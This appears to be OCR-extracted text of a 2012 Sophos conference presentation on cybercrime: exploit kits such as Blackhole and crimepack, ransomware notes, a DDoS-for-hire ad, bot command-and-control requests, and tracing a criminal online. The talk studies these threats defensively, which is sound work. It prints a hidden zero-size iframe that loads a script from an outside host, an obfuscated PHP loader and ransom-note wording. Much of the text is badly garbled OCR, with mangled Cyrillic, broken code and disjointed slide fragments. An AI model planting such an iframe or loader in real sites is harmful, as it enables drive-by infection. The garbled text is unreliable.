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Warning, the contents of this presentation may contain
offensive content. Well, actually I'm pretty darn sure that it does. What's
more, the slide layouts may cause blindness, not due to being horrifyingly over
populated with needless text and bullet points (seriously, who even uses these any
more that's so 1990s). But seriously, anyway, back to the point. It is easy to find

malware on the web at the best of times but it's even easier if you go looking for
it. So please dont. We dont want any accidents. Unless that accident
involves a cyber criminal getting hit by a piano. In which case, bring
it...
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te .v-{ Threat Filename Action Available

7 Oct 2012 15:11 Mal/Iframe-Gen 23e5_3cb46002a4c6463319... Clean up manually

* Make your hostname less obvious. Also, stop it. Now.,
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APT

Advanced Persistent Tweed
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Cyber War

———— Kinetic action...
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Support:

ICQ: 570352881
GTalk: virtest@gmail.com
Jabber: virtest@jabber.ru

KabuHeTt nonb3oBatens

O cepsuce

Haubonbluee KOAMYECTBO aHTUBUPYCHBIX ABMKOB CPEAU aHANOMMYHbIX CEPBUCOB - 44 CamMbiX NOCAEAHUX BEPCUI NONYNAPHBIX
aHTUBMPYCOB

CKaHupoBaHMe NPOM3BOAMUTCA BbIGOPOYHO Ha N060E KONMYECTBO aB-ABMKKOB, KOTOPOE Bbl yKaxeTe - oT 1 40 44. Boibuparts
MOXHO BbICTPO M ya0o6HO nepea KAX/AbIM ckaHom

MonHan aHOHMMHOCTb CKAHMPOBAaHMA. Baw codT HMKyAa He yTeKaeT u He OTCbINAETCA B AB KOHTOPbI - NpoBepaembie Gainbl
HUKNAMNA A NNARATAG R AA2AY UANAT FUTKIK K22 FUAHUNNRAHUAG RN aray an.nnnnveTay NNUHYAUTS NhHA AT NINUSHK RES
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The largest number of anti-virus engines of similar services - the 44 most recent versions of popular antivirus

Scanning is done selectively to any number of AV engines that you specify - from 1 to 44. Choose, you can quickly and
conveniently in front of each scan

Complete anonymlty scan Your software will not leaking and is not sent to the office of AB - scanned files will never appear in
ise of the scan. All auto-products forced off all possible ways and initiatives sharing files scanned

sl loi b

with antivirus office (If any, have been documented): MicrosoftSpyNet, ESET ThreatSense.Net Early Warning System, Kaspersky
Security Network, etc.

Unique scanning function issuing ligaments. described in detail in “"What is the function of ligaments scan and how to use it?
FAQa.

The ability to simultaneously scan entire folders / archives (any subfolders), and the result is displayed for each of the files in a
folder (as generation), and not as everywhere - the status of the archive (infected with at least one file in it "+" or not infected

")
Maximum scanning speed: results of the scan you see is the first second

Convenient conclusion results. You will not get lost in the confusing results in the “mess” of the files. The result is visible from
the first moment and conveniently given in text and graphic form for each AB (how many files found specific engine) and file
(which AB zadetektili specify files)

Support for automatic scanning of files on a schedule: Your Binary will be scanned automatically every 1, 2, 3, 6, 12 or 24 hours
and the soap and ICQ come scan report.

All the antivirus updates every houlnd most popular antivirus software installed on the update in real time.

The service organized by a unique system of quick save frequently-used auto scan , for example, if you check Binary only
Aviram and KAVS, you can create a profile, and during each subsequent scan just select the corresponding profile in the drop-
down list, and click on the non-monotonic the same tick. Preset profiles for 1. the fast, but effectively scan, 2. for the most

popular auto, and other

After each scan at any available reports

During the scan, and any time after it is available more information about each scanned file: file hashes MD5, SHA1, SHA256
checksum CRC32, the structure of PE-file: entry point, timedatestamp, machinetype, section table, virtual addresses, the
characteristics of each section Detective scanned file on signatures PEID, PeTools, TriDId characteristics of the file with a

handy visual diagram: Example 1,

Supportq remote API checks from your server (

* Warning, incredibly bad imitation Russian accent may be used.
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PPPPPPPPPPPPPPPS11.exe

General Info Filetype ident Filetype diagram PE structure

CRC32
SHA1
SHA256
PeTools

oOMmMZ=MmMMEM™T VA
omMmMZMmMMEMT VA

[l Win32 Executable MS Visual C (generic) (31206)

PPPPPPPPPPPPPPPS11.exe

General Info Filetype ident Filetype diagram PE structure

e0ffd07d4aad77beab1cc456db6f76bb

78259503

8c9c1f715a83c63e81800e48af92cc074aScecibe

07711d84c2ee8942e927df4fa14c802e7f7e5eb772a29e875b7208 cdcO2e8fcT

[l Win32 Executable Generic (8527)
[l Win32 Dynamic Link Library (generic) (7583)
[l Generic Win/DOS Executable (2002)
DOS Executable Generic (2000)
Il Autodesk FLIC Image File (extensions: fic, fli, cel) (7)
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Gwapo's Professional DDOS Service

GwapoDDOS ) Subscribe 7 videos ~
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is not in a bocked file nama format

Q C:jGenaraliVages,doc(!! to dacrypt emal id R to e n@gmal.com of s Rive, com 1), exe

Enter password 3

Your files has been decryptes using 256-bit Advanced Encryption Standart.
To decrypt your files send us email with your ID to our special email:
@gmail.com or e @live.com

Because your computer has been hacked or someone spamming from
your computer. You must pay a penalty within 96 hours otherwise we will
send report to the Police with special password to decrypt some files wich
cohtains spam software and child porography files. [this special password
is only for this files, not for all your files. Password for all your files we will
send you only after payment). If first 48 hours will be ended you must pay
3000 Euro.

Enter password for the encrypted file:

Cancel
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0%9 sTaATHCLYDE | (6%, METROPOLITAN
<’/ POLICE “25Y POLICE

Attention!!!
The process of ilegal activity is detected. According to UK aw and Metropolitan Police Service and Strathclyde Police investigation your computer is locked!
The following violation is detected: you IP-address *—mmm". Forbidden websites containing pornography, chid pomography, Sodomy and caled violence against chidren on, violent
material toward people were visited from this IP-address!
Moreover and e-mail spam was sent you're your computer, e-mails containing terroristic materials. This locking serves to stop your illegal activity.

To release a lock your computer you should pay the fine in
amount of £ 100. In the case of ignoring the payment, the Okash' Where can I buy Ukash?

N ‘f"" rem(!ve |_Ilegal materials while keeping your You could buy Ukash in many places, for example: shops, stalls, stand-alone terminals,
personal information is not guaranteed. on-line or through E-Wallet (electronic cash). Below you could find the list of point of sale

You could pay the forfeit in two ways: N o T

Epay - you could buy Ukash in thousands of supermarkets or Call-Shops which
1) Paying through Ukash: have this logo.
Use the code received for this purpose. Enter it in the space for payment and dick OK

(if you have more than one code, enter them one after another and then click OK). PayPoint - Get Ukash wherever you see the PayPoint sign.

Pay - Ukash lable from Payzone terminals around the UK.

r - n-pol -
o~

; % Inpay - You can get a Ukash voucher In values from £10 - £500 and pay
2) Paying through Paysafecard: |n/p-ay\ using your internet bank.

Use the code (and a password If needed) received for this purpose. Enter it in the
space for payment and click OK (if you have more than one code, enter them one @
after another and then click OK). a pay safe

paycash. pay sale.

Lok ]

RSACONFERENCE
EUROPE 2012




POST /gate.php HTTP/1.1

Content-Type, nesaR X -www-form-urlencoded
Host:
Content-Length: 36

Cache-Control: no-cache

POST /knock . phe NTTR/1.1

Most:

Connection: close

Content-Type: multipart/form-data; boundary=hivqfRigyntowtgefblk
Content-Length: 1633

- -hiugfRISynEvtgx b1k
Content-Disposition: form-data; mames"textshit®; filenames*filel.txt®|
Content-Type: application/octet-stream

GAEADOCCIFEO47I0SC LUCADIBE ) 2L SUS69047 0L 5791 SEASESEIIB400 2E47C01
0I0FED2043CDBLF 207 TEIASRD0916CBE0AIDT 19000 29300 10846C 70O TAIIER
SADASOCAFFAALTISAEA TE 7398954030431 37206500CBECH3F 1D4B30EADISAB
GADTEGOSEITAIFADTC1I6IEDAIIMGCSIE IDE2BEMIALADBAGE I1ECTI995F 528
1953305 ES25A505054 106 368204307 49048 10 1AFASDOECS J9ASF EBSEOLCFFO LA
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- Features - Expertise

* Graph colors unimportant but pretty
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FAVORITES
% Dropbox
L All My Files
Q AirDrop
#\ Applications
.| Desktop
@ Documents
) Downloads
-1 Movies
J7 Music
) Pictures
] Move to disk
DEVICES
() Remote Disc

adpack-1

(] sploitpack

adpack-2

my-poly-sploit

armitage

mpack-081

mpack-086

mpack-091

target-exploit
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crimepack

= il dic i |

install password

admin account

information

login:

password:

guest account

login:

password:

Users table OK
Admin account created!
Guest account created!

Stats table created!
Exploit ID Table OK

~ loader file

mysql settings

Browse...

hostname:

user:

pass:

database:

table prefix:

pload |

(c) 2009-2010 crimepack group - all ights reserved
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Blackhole* CTATHCTHKA NOTOKN QAL BEOMACHOCTD HACTPOIN

CTATHCTHKA

3A BEC» NEPMOA

639761 xru 39126 zarvyan

3A CEFOgHA

516850 xru 31716 zarevan
—
[—

XOCTH  JAFPY3IKM t 96
175212 31695 201 @

126594 7422 703 @ o
19071 1916 1L74 @ iNe
680 2571 @ 1833 @

wne 19.27 @

253 @ 520 @

et 0.8 @

161 @ 635 @
563 @

335 @

SAIPY3KN t 06
14857 1560 @

6572 10.00 @
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A few quick pointers

The kit is Russian in origin
MySQL backend, standard LAMP Kkit.
Blacklisting/blocking

Only hit any IP once
Maintain IP blacklist
Blacklist by referrer URL

Import blacklisted ranges (cloud services)

Auto update

Targets a variety of client vulnerabilities

Java - wow that was fast!

AV scanning add-ons (you have to pay more of course)
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<?php //003ab

if (!extension locaded('ionCube Loader')) {$__oc=strtolower (substr(php uname(),0,3));
$__ln="ioncube_ loader_'.$__oc.'_'.substr(phpversion(),0,3).(($_oc='win')?'.dll':
'.30");@dl($__1n);if(function_exists('_ il exec')) {return _il exec();}$__ 1ln=
'/ioncube/'.$_ 1ln;$_ oid=$__id=realpath(ini_get('extension dir'));$_ here=dirname (
__FILE );if(strlen($__id)>l&&$__ id[l]==":"){$__id=str_replace('\\','/',substr($__ id,
2));%__here=str replace('\\',6'/',substr($_here,Z));}$_ rd=str repeat('/..',
substr_count($__id,"'/")).%__here.'/';$__ i=strlen($__rd);while($__i--){if($__rd[$__1i
]I="/"){$_1p=substr($__xd,0,%5__i).5_ 1ln;if(file_exists($__cid.$__1lp)){$__1ln=5_ lp;
break;}}}@dl($_ 1n);}else{die('The £file '._FILE ." is corrupted.\n");}if(
function_exists('_il exec')) {return _il exec();}echo('Site error: the file <b>'.

__FILE .'</b> requires the ionCube PHP Loader '.basename($__ 1ln).' tc be installed

by the site administrator.');exit(1353);

2>

4+oV507yIWthHhCYMKZRBhxEIizd1BzpI3yTnEzaaS5NWv6/6GTQsJ 3XWXwhXKbxD303vUneZRpJj
ZsD7elKVc55ga0UKaTzpgsxdJeFrs300kfewomLFE5gVQFBLrYIYEKEVS3wN3Qvd8sh337RheGhU
YIN71w71iFTj2=MI9/tjFmOnRk4TArgviBB3£iIWaDgHiN1CkS550uYo/+wd0Tpg3LvPpc4 €S8 Cm
zZUUtRrDHTIUeNtuVlext fwVEFPESxwNmSczB8aeGeegdtBiJLMj 6HhZ5HozjQ5suWicle8ani/jxz/o
+cPZ2TewyKM¥uxp01 P8 BrmDLzwY0+6BhT1lisAk /PShoNiSxFM/ASD/TKilO0cgfA+12tUZWdV1y
BRr0T+xy7teEPUHTQe73GI+yYyvSqCHgYaYk 7Th3pifWZJ+di8pllotIDaflwbj5D4ucRkQBrdnSm
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Uncheck al

United Arab Emirates
Afghanistan
Antigua and Barbuda

Uncheck al

O Blackhole

REFERERS

9 Slocked referers
Alowed referers

¥ Bock mithout referer

STATISTICS

BLOCKED STATISCTICS

English [+]

THREADS FILES SOFT VERSIONS SECURITY PREFERENCES

BOY LIST
¥ Block bot kst (s 132220)
TOR LISY

¥ Block TOR kst (soen: 3135, Last cpdate: 13.09.2012 13:00)

ETES GETTES
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{) Blackhole STATISTICS BLOCKED STATISCTICS THREADS FILES SOFT VERSIONS SECURITY PREFERENCES LOGOUT

You can’ trestore data after delete, be patent

rureazss e Q-

Ocnt keep referers records
O Keep referers records
Keep referers records without showing It In guest stat

Save

GEOIP

st e e
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O Blackhole

39126 2arevaon

31716 sarevaon

B e
50 @
00 e
635 @

-

JATPYIKN 1 %
14887 1560 @
(331 0.0 @

<--iframe name="ICMP Type 8 Code 0" src="http.//incrediblyhacked.com/file.php"
marginwidth="1" marginheight="0" title="ICMP Type 8 Code 0" border="0" width="1"
frameborder="0" height="0" scrolling="no"><--/iframe>
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http://192.168.13.1/crimepack/index.php
http://192.168.13.1/crimepack/index.php

Escalation Scale

)

Bit of poking - DNS, name servers and ‘affiliations
Web bug, image or alike

*  Pretty easy to legally get away with
« Sadly basic information
Javascript. Web Shell. Querying more information

* Borderline, depending on your jurisdiction.

Full hog - exploitage
* Oh, you didn't patch Java in your system either? Awkward.
* Where they are, what they are doing....
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The Pay Off?
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-

>°lj stats_sms.phb : (no ;ymbolrsérl-ectedr) v

<?

$phones = array(
// phone => array(Sun, Mon, .., Sat)
'+7911 22' => array('1100', '1000', '1000',
'+7921 31' => array('1200', '1200', '1200",
'+7921 99' => array('1000', '0900', '0900"',
'+7921 90' => array('1300', '0930', '@930°',
'+7911 68' => array('1100', '1000', '1000',

mv /tmp/restore/S{array[1]} S${array[3]}
fi
elif [ "${array[@]}" = "1" ]; then
ln -s ${array[2]} ${array[1]}
fi
chown -R leded:leded /work/
done

crontab /tmp/restore/cron/crontab
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Sphynx ikittenl ESt. Petersburg)
krotreal@.  .com

Sale Sphynx kittens.

Kittens are pediaree.

Fully immunized.

Kittens are very playful and funny.
Girl - a pure black color,

boy - a black iridescent with in tum.
Anton.

Tel. +792 a0

09/05/2007

SOPHOS

s L0171

Kanaackui chmuHke (KoTaTa) (Can
E-mail: krotreal@ .com

MNpoaato KOTAT NOPOAb! KaHAACKMHA ¢
Y KOTAT eCTb poA0CNoBHan.
Caenasbl BCE NPUBMBKMK.

KorsTa Becensie u 04eHb Urpusbie.
JleBouKa - UMCTO YepHOoro ueera,
ManbuMK - YEpHOro C NepenmuBamMm K
AHTOH.

Ten. +792 =~ 90
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V |
NameChk |krotreal

Show Al (159)

Sort by Name Export

|Available Domains: krotreal.org krotreal.co krotreal.mx krotreal.me krotreal.us

*§ Blogger taken 8 ¥ Livelourn:

|ﬂ Disqus available V| B4 foursquare

YouTube taken & | @ epinions
¥ twitter taken % @ Twitpic

(3 Flickr taken & | ¥f yfrog

#8 Me and Diana | Fiickr - Phee

€ 5 C O wawllickr.com/photos/87631853@N00/261448423/

Favorie  Actors ~  Sramths ~

. Euz.‘KlulM

This photo was sken on A

Orympus R-300

184 virws

This photo belongs 1o
KrotReal's phowosteam

r— 4

Phote i

This pholo also appear’

+ Sphyre Lovers

Shoot. Uple¢

All on your n

etp: i flickr o

o S
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Two Steps Forward

RSACONFERENCE =~ “<—
EUROPE 2012 -




RSACONFERENCE
EUROPE 2012




(& www.sophos.com/warbiking

SOPHOS

Security Hubs
IT Security Training Tools

Security Trends

Security Trends Reports
Glossary of Terms
Threat Spotlight
Whitepapers

Podcasts

Login Register Aboutus Press Contactus Careers Global websites Search

Your Needs Why Sophos Products Support Threat Center Security News/Trends Partners

» Security Trends

Sophos Project Warbike Share ¥ More

We took one man, a bike ) to the streets of London to see how many
e R e Project Warbike - The Ride, The Results, The Reality

Searching for wireless networks by car is known as wardriving, while our Project Warbike analyzing Wi-Fi security throughout London was a
greener experiment (and surely faster).

We found that unsecured wireless networks are still an issue that needs tackling. Of the nearly 107,000 wireless networks we surveyed, we
discovered that 27% have poor, or no, security.
Keeping it legal

We only collected high-level data within the confines of the law to understand the general state of wireless security. Unfortunately,
cybercriminals don't have similar ethical standards. What they do have are a lot of sneaky tools in their arsenals.
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Apply Slide {Love that}

- Consider upcoming technologies even if not using
them yet. Don’t make the 2->1-< mistake.

- Consider investigative/offensive moves extremely

carefully.

+ Watch those basics

*  Assumptions Kill us
* Yes people can be that silly

+ Everything in moderation. Hype hurts.
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